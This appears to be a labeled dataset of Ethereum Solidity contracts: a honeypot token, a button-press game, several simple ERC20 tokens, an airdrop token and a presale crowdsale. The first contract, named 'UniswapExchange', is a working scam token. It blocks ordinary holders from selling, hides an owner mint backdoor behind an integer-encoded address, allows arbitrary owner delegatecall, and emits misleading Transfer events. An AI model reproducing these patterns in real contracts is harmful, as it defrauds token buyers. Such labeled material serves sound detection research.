return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 178 |
pragma solidity ^0.4.24;
contract Vitaluck {
address ownerAddress = 0x3dcd6f0d7860f93b8bb7d6dcb85346c814243d63;
address cfoAddress = 0x5b665218efCE2a15BD64Bd1dE50a27286f456863;
modifier onlyCeo() {
require (msg.sender == ownerAddress);
_;
}
event NewPress(address player, uint countPress, uint256 pricePaid, uint32 _timerEnd);
uint countPresses;
uint256 countInvestorDividends;
uint amountPlayed;
uint32 timerEnd;
uint32 timerInterval = 21600;
address winningAddress;
uint256 buttonBasePrice = 20000000000000000;
uint256 buttonPriceStep = 2000000000000000;
struct Player {
address playerAddress;
uint countVTL;
}
Player[] players;
mapping (address => uint) public playersToId;
function() public payable {
uint _countPress = msg.value / getButtonPrice();
Press(_countPress, 0);
}
function FundContract() public payable {
}
function Press(uint _countPresses, uint _affId) public payable {
require(_countPresses >= 1);
require(msg.value >= buttonBasePrice);
require(timerEnd > now);
uint256 _buttonPrice = getButtonPrice();
require(msg.value >= safeMultiply(_buttonPrice, _countPresses));
timerEnd = uint32(now + timerInterval);
winningAddress = msg.sender;
uint256 TwoPercentCom = (msg.value / 100) * 2;
uint256 TenPercentCom = msg.value / 10;
uint256 FifteenPercentCom = (msg.value / 100) * 15;
if(_affId > 0 && _affId < players.length) {
players[_affId].playerAddress.transfer(TenPercentCom);
}
uint[] memory mainInvestors = GetMainInvestor();
uint mainInvestor = mainInvestors[0];
players[mainInvestor].playerAddress.transfer(FifteenPercentCom);
countInvestorDividends = countInvestorDividends + FifteenPercentCom;
for(uint i = 1; i < mainInvestors.length; i++) {
if(mainInvestors[i] != 0) {
uint _investorId = mainInvestors[i];
players[_investorId].playerAddress.transfer(TwoPercentCom);
countInvestorDividends = countInvestorDividends + TwoPercentCom;
}
}
cfoAddress.transfer(FifteenPercentCom);
if(playersToId[msg.sender] > 0) {
players[playersToId[msg.sender]].countVTL = players[playersToId[msg.sender]].countVTL + _countPresses;
} else {
uint playerId = players.push(Player(msg.sender, _countPresses)) - 1;
playersToId[msg.sender] = playerId;
}
emit NewPress(msg.sender, _countPresses, msg.value, timerEnd);
countPresses = countPresses + _countPresses;
amountPlayed = amountPlayed + msg.value;
}
function withdrawReward() public {
require(timerEnd < now);
require(winningAddress == msg.sender);
winningAddress.transfer(address(this).balance);
}
function GetPlayer(uint _id) public view returns(address, uint) {
return(players[_id].playerAddress, players[_id].countVTL);
}
function GetPlayerDetails(address _address) public view returns(uint, uint) {
uint _playerId = playersToId[_address];
uint _countVTL = 0;
if(_playerId > 0) {
_countVTL = players[_playerId].countVTL;
}
return(_playerId, _countVTL);
}
function GetMainInvestor() public view returns(uint[]) {
uint depth = 10;
bool[] memory _checkPlayerInRanking = new bool[] (players.length);
uint[] memory curWinningVTLAmount = new uint[] (depth);
uint[] memory curWinningPlayers = new uint[] (depth);
for(uint j = 0; j < depth; j++) {
curWinningVTLAmount[j] = 0;
for (uint8 i = 0; i < players.length; i++) {
if(players[i].countVTL > curWinningVTLAmount[j] && _checkPlayerInRanking[i] != true) {
curWinningPlayers[j] = i;
curWinningVTLAmount[j] = players[i].countVTL;
}
}
_checkPlayerInRanking[curWinningPlayers[j]] = true;
}
return(curWinningPlayers);
}
function GetCurrentNumbers() public view returns(uint, uint256, address, uint, uint256, uint256, uint256) {
return(timerEnd, address(this).balance, winningAddress, countPresses, amountPlayed, getButtonPrice(), countInvestorDividends);
}
constructor() public onlyCeo {
timerEnd = uint32(now + timerInterval);
winningAddress = ownerAddress;
uint playerId = players.push(Player(0x0, 0)) - 1;
playersToId[msg.sender] = playerId;
}
function getButtonPrice() public view returns(uint256) {
uint _multiplier = 0;
if(countPresses > 100) {
_multiplier = buttonPriceStep * (countPresses / 100);
}
uint256 _buttonPrice = buttonBasePrice + _multiplier;
return(_buttonPrice);
}
function safeMultiply(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
} else {
uint256 c = a * b;
assert(c / a == b);
return c;
}
}
} | 1 | 4,971 |
pragma solidity ^0.4.25 ;
contract VOCC_I042_20181211 {
mapping (address => uint256) public balanceOf;
string public name = " VOCC_I042_20181211 " ;
string public symbol = " VOCC_I042_20181211_subDT " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 19800000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 3,316 |
pragma solidity ^0.4.25 ;
contract CCD_KOHLE_1_20190411 {
mapping (address => uint256) public balanceOf;
string public name = " CCD_KOHLE_1_20190411 " ;
string public symbol = " CCD_KOHLE_1_20190411_subDT " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 19800000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 3,102 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract KEACoin is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "KEA Coin";
string public constant symbol = "KEA";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 200000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
uint256 public minReq;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function KEACoin (uint256 _value, uint256 _minReq) public {
owner = msg.sender;
value = _value;
minReq = _minReq;
balances[msg.sender] = totalDistributed;
}
function setParameters (uint256 _value, uint256 _minReq) onlyOwner public {
value = _value;
minReq = _minReq;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
if (msg.value < minReq){
toGive = value.sub(value);
}
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
uint256 etherBalance = this.balance;
if (etherBalance > 0) {
owner.transfer(etherBalance);
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
if (amount > 0) {
return token.transfer(owner, amount);
}
return true;
}
} | 1 | 3,286 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract WuZeFoundation is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function WuZeFoundation() public {
symbol = "WZF";
name = "WuZe Foundation";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[0xff60947022E9e3510974646C530445B51540292D] = _totalSupply;
Transfer(address(0), 0xff60947022E9e3510974646C530445B51540292D, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,921 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LockableChanges is Ownable {
bool public changesLocked;
modifier notLocked() {
require(!changesLocked);
_;
}
function lockChanges() public onlyOwner {
changesLocked = true;
}
}
contract GENSharesToken is StandardToken, Ownable {
using SafeMath for uint256;
event Mint(address indexed to, uint256 amount);
event MintFinished();
string public constant name = "GEN Shares";
string public constant symbol = "GEN";
uint32 public constant decimals = 18;
bool public mintingFinished = false;
address public saleAgent;
function setSaleAgent(address newSaleAgent) public {
require(saleAgent == msg.sender || owner == msg.sender);
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(!mintingFinished);
require(msg.sender == saleAgent);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public returns (bool) {
require(!mintingFinished);
require(msg.sender == owner || msg.sender == saleAgent);
mintingFinished = true;
MintFinished();
return true;
}
}
contract CommonCrowdsale is Ownable, LockableChanges {
using SafeMath for uint256;
uint public constant PERCENT_RATE = 100;
uint public price;
uint public minInvestedLimit;
uint public hardcap;
uint public start;
uint public end;
uint public invested;
uint public minted;
address public wallet;
address public bountyTokensWallet;
address public devTokensWallet;
address public advisorsTokensWallet;
uint public bountyTokensPercent;
uint public devTokensPercent;
uint public advisorsTokensPercent;
struct Bonus {
uint periodInDays;
uint bonus;
}
Bonus[] public bonuses;
GENSharesToken public token;
modifier saleIsOn() {
require(msg.value >= minInvestedLimit && now >= start && now < end && invested < hardcap);
_;
}
function setHardcap(uint newHardcap) public onlyOwner notLocked {
hardcap = newHardcap;
}
function setStart(uint newStart) public onlyOwner notLocked {
start = newStart;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner notLocked {
bountyTokensPercent = newBountyTokensPercent;
}
function setAdvisorsTokensPercent(uint newAdvisorsTokensPercent) public onlyOwner notLocked {
advisorsTokensPercent = newAdvisorsTokensPercent;
}
function setDevTokensPercent(uint newDevTokensPercent) public onlyOwner notLocked {
devTokensPercent = newDevTokensPercent;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner notLocked {
bountyTokensWallet = newBountyTokensWallet;
}
function setAdvisorsTokensWallet(address newAdvisorsTokensWallet) public onlyOwner notLocked {
advisorsTokensWallet = newAdvisorsTokensWallet;
}
function setDevTokensWallet(address newDevTokensWallet) public onlyOwner notLocked {
devTokensWallet = newDevTokensWallet;
}
function setEnd(uint newEnd) public onlyOwner notLocked {
require(start < newEnd);
end = newEnd;
}
function setToken(address newToken) public onlyOwner notLocked {
token = GENSharesToken(newToken);
}
function setWallet(address newWallet) public onlyOwner notLocked {
wallet = newWallet;
}
function setPrice(uint newPrice) public onlyOwner notLocked {
price = newPrice;
}
function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner notLocked {
minInvestedLimit = newMinInvestedLimit;
}
function bonusesCount() public constant returns(uint) {
return bonuses.length;
}
function addBonus(uint limit, uint bonus) public onlyOwner notLocked {
bonuses.push(Bonus(limit, bonus));
}
function mintExtendedTokens() internal {
uint extendedTokensPercent = bountyTokensPercent.add(devTokensPercent).add(advisorsTokensPercent);
uint extendedTokens = minted.mul(extendedTokensPercent).div(PERCENT_RATE.sub(extendedTokensPercent));
uint summaryTokens = extendedTokens + minted;
uint bountyTokens = summaryTokens.mul(bountyTokensPercent).div(PERCENT_RATE);
mintAndSendTokens(bountyTokensWallet, bountyTokens);
uint advisorsTokens = summaryTokens.mul(advisorsTokensPercent).div(PERCENT_RATE);
mintAndSendTokens(advisorsTokensWallet, advisorsTokens);
uint devTokens = summaryTokens.sub(advisorsTokens).sub(bountyTokens);
mintAndSendTokens(devTokensWallet, devTokens);
}
function mintAndSendTokens(address to, uint amount) internal {
token.mint(to, amount);
minted = minted.add(amount);
}
function calculateAndTransferTokens() internal {
invested = invested.add(msg.value);
uint tokens = msg.value.mul(price).div(1 ether);
uint bonus = getBonus();
if(bonus > 0) {
tokens = tokens.add(tokens.mul(bonus).div(100));
}
mintAndSendTokens(msg.sender, tokens);
}
function getBonus() public constant returns(uint) {
uint prevTimeLimit = start;
for (uint i = 0; i < bonuses.length; i++) {
Bonus storage bonus = bonuses[i];
prevTimeLimit += bonus.periodInDays * 1 days;
if (now < prevTimeLimit)
return bonus.bonus;
}
return 0;
}
function createTokens() public payable;
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(wallet, token.balanceOf(this));
}
}
contract Presale is CommonCrowdsale {
uint public devLimit;
uint public softcap;
bool public refundOn;
bool public softcapAchieved;
bool public devWithdrawn;
address public devWallet;
address public nextSaleAgent;
mapping (address => uint) public balances;
function setNextSaleAgent(address newNextSaleAgent) public onlyOwner notLocked {
nextSaleAgent = newNextSaleAgent;
}
function setSoftcap(uint newSoftcap) public onlyOwner notLocked {
softcap = newSoftcap;
}
function setDevWallet(address newDevWallet) public onlyOwner notLocked {
devWallet = newDevWallet;
}
function setDevLimit(uint newDevLimit) public onlyOwner notLocked {
devLimit = newDevLimit;
}
function refund() public {
require(now > start && refundOn && balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function createTokens() public payable saleIsOn {
balances[msg.sender] = balances[msg.sender].add(msg.value);
calculateAndTransferTokens();
if(!softcapAchieved && invested >= softcap) {
softcapAchieved = true;
}
}
function widthrawDev() public {
require(softcapAchieved);
require(devWallet == msg.sender || owner == msg.sender);
if(!devWithdrawn) {
devWithdrawn = true;
devWallet.transfer(devLimit);
}
}
function widthraw() public {
require(softcapAchieved);
require(owner == msg.sender);
widthrawDev();
wallet.transfer(this.balance);
}
function finishMinting() public onlyOwner {
if(!softcapAchieved) {
refundOn = true;
token.finishMinting();
} else {
mintExtendedTokens();
token.setSaleAgent(nextSaleAgent);
}
